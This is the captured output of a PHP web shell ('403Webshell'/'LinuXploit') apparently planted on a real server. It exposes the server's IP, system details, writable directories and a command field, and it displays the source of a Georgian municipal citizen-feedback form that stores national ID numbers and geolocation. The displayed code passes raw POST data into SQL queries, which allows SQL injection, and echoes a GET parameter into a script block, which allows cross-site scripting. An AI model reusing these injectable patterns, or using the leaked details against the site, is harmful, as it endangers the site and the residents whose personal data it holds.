403Webshell
Server IP : 80.241.246.6  /  Your IP : 216.73.216.188
Web Server : Apache/2.4.25 (Debian)
System : Linux kharagauli 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
User : www-data ( 33)
PHP Version : 7.0.33-0+deb9u12
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/kharagauli_new/Citizens_feedback/pages/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/kharagauli_new/Citizens_feedback/pages/p2.php
<?php
$FormShow=true;
$mainAnswer=array('FName'=>'', 'LName'=>'', 'PersonalID'=>'');
if(isset($_POST['QuestID'])){
	$QuestionnaireID=(int)$_POST['QuestID'];
	$ProgramID=(int)$_POST['ProgramID']; 
	
	$mainAnswer=$_POST['mainAnswer'];
	$answer=$_POST['answer'];
	$Location=$_POST['Location'];
	if(isset($_SERVER['REMOTE_ADDR'])) $IP=$_SERVER['REMOTE_ADDR']; else $IP='0.0.0.0';
	
	$FName=$mainAnswer['FName'];
	$LName=$mainAnswer['LName'];
	$PersonalID=$mainAnswer['PersonalID'];
	$Confirm=$mainAnswer['Confirm'];
	
	$ptk=mysqli_query($baza,'select * from cf_Respondents where PersonalID="'.$PersonalID.'"');
	if($row=mysqli_fetch_array($ptk,1)){
		$FName0=$row['Firstname'];
		$LName0=$row['Lastname'];
		$RespondentID=$row['ID'];
	}else{
		$ptk=mysqli_query($baza,'insert into cf_Respondents (Firstname, Lastname, PersonalID, IP, Location) values ("'.$FName.'","'.$LName.'","'.$PersonalID.'","'.$IP.'","'.$Location.'")');
		if($ptk)
			$RespondentID=mysqli_insert_id($baza);
		else die('<div class="thanks" align=center>შეცდომა მონაცემების შენახვისას<br><br>'.mysqli_error($baza).'</div>');
	}
	
	// print_r($answer);
	foreach($answer as $QuestionID=>$Question){
		$Type=$Question['type'];
		if(isset($Question['comment'])) $Comment=$Question['comment']; else $Comment='';
		if(isset($Question['value'])) {
			$Value=$Question['value'];
			$sql='';
			if(($Type=='ტექსტი სტრიქონი') || ($Type=='ტექსტი აბზაცი')) 
				$sql='insert into cf_Answers (RespondentID, ProgramID, QuestionnaireID, QuestionID, DTime, Answer, Comment) 
				values ('.$RespondentID.', '.$ProgramID.', '.$QuestionnaireID.', '.$QuestionID.', "'.date('Y-m-d').'", "'.$Value.'", "'.$Comment.'" )';
			if($Type=='შეფასება ქულით')
				$sql='insert into cf_Answers (RespondentID, ProgramID, QuestionnaireID, QuestionID, DTime, Val, Comment) 
				values ('.$RespondentID.', '.$ProgramID.', '.$QuestionnaireID.', '.$QuestionID.', "'.date('Y-m-d').'", "'.$Value.'", "'.$Comment.'" )';
			if($Type=='თარიღი')
				$sql='insert into cf_Answers (RespondentID, ProgramID, QuestionnaireID, QuestionID, DTime, Val, Comment) 
				values ('.$RespondentID.', '.$ProgramID.', '.$QuestionnaireID.', '.$QuestionID.', "'.date('Y-m-d').'", "'.strtotime($Value).'", "'.$Comment.'" )';
			if($Type=='თარიღების დიაპაზონი')
				$sql='insert into cf_Answers (RespondentID, ProgramID, QuestionnaireID, QuestionID, DTime, Min, Max, Comment) 
				values ('.$RespondentID.', '.$ProgramID.', '.$QuestionnaireID.', '.$QuestionID.', "'.date('Y-m-d').'", "'.strtotime($Value[0]).'", "'.strtotime($Value[1]).'", "'.$Comment.'" )';
			if($Type=='არჩევა ერთის')
				$sql='insert into cf_Answers (RespondentID, ProgramID, QuestionnaireID, QuestionID, DTime, Val, Comment) 
				values ('.$RespondentID.', '.$ProgramID.', '.$QuestionnaireID.', '.$QuestionID.', "'.date('Y-m-d').'", "'.$Value.'", "'.$Comment.'" )';
			if($sql!='') mysqli_query($baza,$sql);
				else
			if($Type=='არჩევა რამოდენიმეს'){
				$Values=$Value;
				foreach($Values as $Value){
					$sql='insert into cf_Answers (RespondentID, ProgramID, QuestionnaireID, QuestionID, DTime, Val, Comment) 
					values ('.$RespondentID.', '.$ProgramID.', '.$QuestionnaireID.', '.$QuestionID.', "'.date('Y-m-d').'", "'.$Value.'", "'.$Comment.'" )';
					mysqli_query($baza,$sql);
					}
				}
			
			}
	}
	 
	echo '<div class="thanks" align=center>გმადლობთ, რომ მიიღეთ მონაწილეობა გამოკითხვაში.</div>';
	$FormShow=false;
} 
if(isset($_GET['pr'])) {
	$pr=explode('-',$_GET['pr'].'-');
	echo '<script>var pr0='.$pr[0].', pr1='.$pr[1].'; </script>';
	} else echo '<script>var pr0=0, pr1=0; </script>';

if($FormShow===true){
?>
<style>
	form input[type=text]{min-width: 270px}
</style>
<div align="center">შეავსეთ კითხვარი</div>
	<form action="?page=2" method="post" enctype="multipart/form-data" onSubmit="return checkform();">
		<input type="hidden" name="Location" id="Location" value="">
		<div class="Question">
			<div class="QHeader">სახელი<span class="required_required"></span></div>
			<input class="cfText"  name="mainAnswer[FName]" type="text" value="<?=$mainAnswer['FName']?>" required style="min-width: 270px">
		</div>
		<div class="Question">
			<div class="QHeader">გვარი<span class="required_required"></span></div>
			<input class="cfText"  name="mainAnswer[LName]" type="text" value="<?=$mainAnswer['LName']?>" required style="min-width: 270px">
		</div> 
		<div class="Question">
			<div class="QHeader">პირადი ნომერი<span class="required_required"></span></div>
			<input class="cfText" style="min-width: 270px" id="pid"  name="mainAnswer[PersonalID]" type="text" maxlength="11" pattern="[0-9]{11}" value="<?=$mainAnswer['PersonalID']?>" required placeholder="11 ციფრი" onChange="checkID(this.value,goPrClass,0)">&nbsp;<a href="javascript:resetPid()"><img src="admin/img/b_drop.png" width="16" height="16" alt=""/></a>
			<div class="errorID"></div>
		</div>
		<div class="Question">
			<label><input name="mainAnswer[Confirm]" id="conf1" type="checkbox" required> ვეთანხმები დამუშავდეს ჩემი პერსონალური ინფორმაცია ელექტრონული პლატფორმის ვალიდაციის მიზნით </label>
		</div>
		
		
		<div class="Question">
			<?php
			$ptk=mysqli_query($baza,'select * from cf_ProgramClasses where Active=1 and Archive=0 order by Pos');
			if(mysqli_num_rows($ptk)==0) 
				echo '<div class="QHeader">აქტიური პროგრამის კლასი არ მოიძებნა</div>';
			else{
				echo '<div class="QHeader">აირჩიეთ პროგრამის კლასი ან საჭიროების იდენტიფიცირება</div>';
				echo '<select name="PrClass" id="PrClass" class="cfSelect" onchange="PrClassChange(this.value)" required><option></option>';
				while($row=mysqli_fetch_array($ptk)){
					echo '<option value="'.$row['ID'].'" '.($row['ShowInProgramList']==1?'isProgram=1':'').'  '.($row['ShowOnlyUsedPrograms']==1?'ShowOnlyUsedPrograms=1':'').' '.($row['CheckPersonalID']==1?'CheckPersonalID=1':'').'>'.$row['Name'].'</option>';
					}
				echo '</select>';
				}
			?>
		</div>
		
		<div class="Question Programs">
		</div>
		
		<div class="mainQuestions">
		</div>
<script>
var currentPos=false;
function getPos(){
	console.log('getPos');
	if(currentPos) console.log(currentPos);
	else setTimeout(getPos,1000);
	}

function getCurrentPos(){
	"use strict";
	if (navigator.geolocation) {
		navigator.geolocation.getCurrentPosition(
			position => {
				const pos = {
					lat: position.coords.latitude,
					lng: position.coords.longitude,
					}; 
				currentPos=pos;
				$('#Location').val(currentPos.lat+','+currentPos.lng);
				}
			)
		}
	}
 
window.onload = function () { 
	console.log('getCurrentPos');
	getCurrentPos();
	getPos();
	$('span.required_required').attr('title','სავალდებულოდ შესავსები ველი');
	}

function checkform(){
	if(!$('#conf2')[0].checked) {
		alert('დაადასტურეთ ინფორმაციის სისწორე');
		$('#conf2').parent().css({color:'red'});
		setTimeout("$('#conf2').parent().css({color:'black'});",5000);
		$('#conf2').focus();
		return false;
		} else
	if(!$('#conf1')[0].checked) {
		alert('ვერ მივიღებთ თქვენს კითხვარს, თუ თქვენ არ ეთანხმებით თქვენი პერსონალური ინფორმაციის დამუშავებას');
		$('#conf1').parent().css({color:'red'});
		setTimeout("$('#conf1').parent().css({color:'black'});",5000);
		$('#conf1').focus();
		return false;
		} else
	if(($('#Program').length>0) && ($('#Program').val()>0)) return true;
	return false;
	}
function goPrClass(){
	console.log(pr0);
	if(pr0>0){
		$('#PrClass').val(pr0).change();
		pr0=0;
		}
	}
function resetPid(){
	$('#pid').removeAttr('readonly');
	$('#pid').removeClass('checked').removeClass('prchecked').val('');
	$('#pid').focus();
	$('#PrClass').val(0);
	$('.Question.Programs').html('');
	$('.mainQuestions').html('');
}
function checkID(pid,after,CheckPersonalID){
	console.log(pid,after,CheckPersonalID)
	$('#pid').removeAttr('readonly');
	$('#pid').removeClass('checked');
	pid=pid.replace(/\D/g,'');
	$('#pid').val(pid);
	if(pid.length!=11) {
		alert('კორექტულად შეიტანეთ პირადი ნომერი (11 ციფრი)');
		$('#pid').focus();
		$('#PrClass').val(0);
		$('.Question.Programs').html('');
		$('.mainQuestions').html('');
		return false;
		}
	if(CheckPersonalID){
		$.ajax({
			url:'interactive.php',
			type:'post',
			dataType:'text',
			data:{f:'checkPID',pid:pid}
			}).done(function(data){
				console.log('done=',data);
				if(data==0){
					alert('პირადი ნომერი მუნიციპალიტეტის ბაზაში ვერ მოიძებნა');
					$('#pid').focus();
					$('#PrClass').val(0);
					$('.Question.Programs').html('');
					$('.mainQuestions').html('');
					} else{
					$('#pid').addClass('checked').addClass('prchecked').attr('readonly','readonly');
					if(typeof(after)=='function')
						after();
					}
			}).fail(function(data){
				console.log('fail=',data);
			})
		} else {
		$('#pid').addClass('checked').attr('readonly','readonly');
		if(typeof(after)=='function')
			after();
		}
	}
function PrClassChange(){
	$('.mainQuestions').html('');
	var PrClass=$('#PrClass').val();
	if(PrClass==0){
		$('.Question.Programs').html('');
		return;
		}
	var CheckPersonalID=$('#PrClass option[value='+PrClass+']').attr('CheckPersonalID');
	if(typeof(CheckPersonalID)=='undefined') CheckPersonalID=0;
	
	var isProgram=$('#PrClass option[value='+PrClass+']').attr('isProgram');
	if(typeof(isProgram)=='undefined') isProgram=0;
	
	var ShowOnlyUsedPrograms=$('#PrClass option[value='+PrClass+']').attr('ShowOnlyUsedPrograms');
	if(typeof(ShowOnlyUsedPrograms)=='undefined') ShowOnlyUsedPrograms=0;
	
	var pid=$('#pid').val();
	pid=pid.replace(/\D/g,'');
	$('#pid').val(pid);
	if(CheckPersonalID &&  !$('#pid').hasClass('prchecked')){
		checkID(pid,PrClassChange,CheckPersonalID);
		}
		else
	if(!$('#pid').hasClass('checked')){
		checkID(pid,PrClassChange,0);
		}
		else
	$.ajax({
		url:'interactive.php',
		dataType:'text',
		type:'post',
		data:{f:'getPrograms', PrClass:PrClass, pid:pid, isProgram:isProgram, ShowOnlyUsedPrograms:ShowOnlyUsedPrograms, target:currentPos} 
		})
	.done(function(data){
		$('.Question.Programs').html(data);
		console.log('pr1',pr1,typeof(pr1));
		if(pr1>0){
			console.log('pr1',pr1);
			$('.Question.Programs select').val(pr1).change();
			pr1=0;
			}
		})
	.fail(function(data){
		$('.Question.Programs').html('');
		$('.mainQuestions').html('');
		console.log('fail1 = ',data);
		$('#PrClass').val(0);
		})
	}
function ProgramChange(ProgramID){
	$('.mainQuestions').html('');
	var QuestID=$('select[name="Program"] option[value='+ProgramID+']').attr('QID');
	var used=$('select[name="Program"] option[value='+ProgramID+']').attr('used');
	if(used==1) {
		alert('ეს პროგრამა თქვენ უკვე შეფასებული გაქვთ, გთხოვთ აირჩიოთ სხვა');
		$('select[name="Program"]').val(0);
		}
		else
	$.ajax({
		url:'interactive.php',
		dataType:'text',
		type:'post',
		data:{f:'getQuestions', QuestID:QuestID, ProgramID:ProgramID}
	}).done(function(data){
		$('.mainQuestions').html(data);
	}).fail(function(data){
		$('.mainQuestions').html('');
		console.log('fail2 = ',data);
	})
}		

</script>
<style>
option[used="1"] {
    background-color: #0001;
    color: #0005;
	}
span.required_required:before {
    content: '*';
    color: red;
    display: inline-block;
    margin-left: 5px;
}
.Questions {
    line-height: initial;
}
.Questions input {
    display: inline-block;
    width: initial;
    height: initial;
    line-height: initial;
    padding: 4px 11px;
}
.cfSelect {
    max-width: 100%;
    width: initial;
    line-height: initial;
    height: initial;
}
.error{ background-color: red;
    color: white;
    text-align: center;
    font-size: 20px;
    padding: 10px;
    border-radius: 10px;
    box-shadow: 5px 5px 10px #0008;
    margin-bottom: 20px;}
</style>
		<div class="Question">
			<label><input name="mainAnswer[Confirm2]" id="conf2" type="checkbox" required> ვადასტურებ წარმოდგენილ ინფორმაციას </label>
		</div>
	<div class="Question" align="center"><button>გაგზავნა</button></div>
</form>
<?php } ?>

Youez - 2016 - github.com/yon3zu
LinuXploit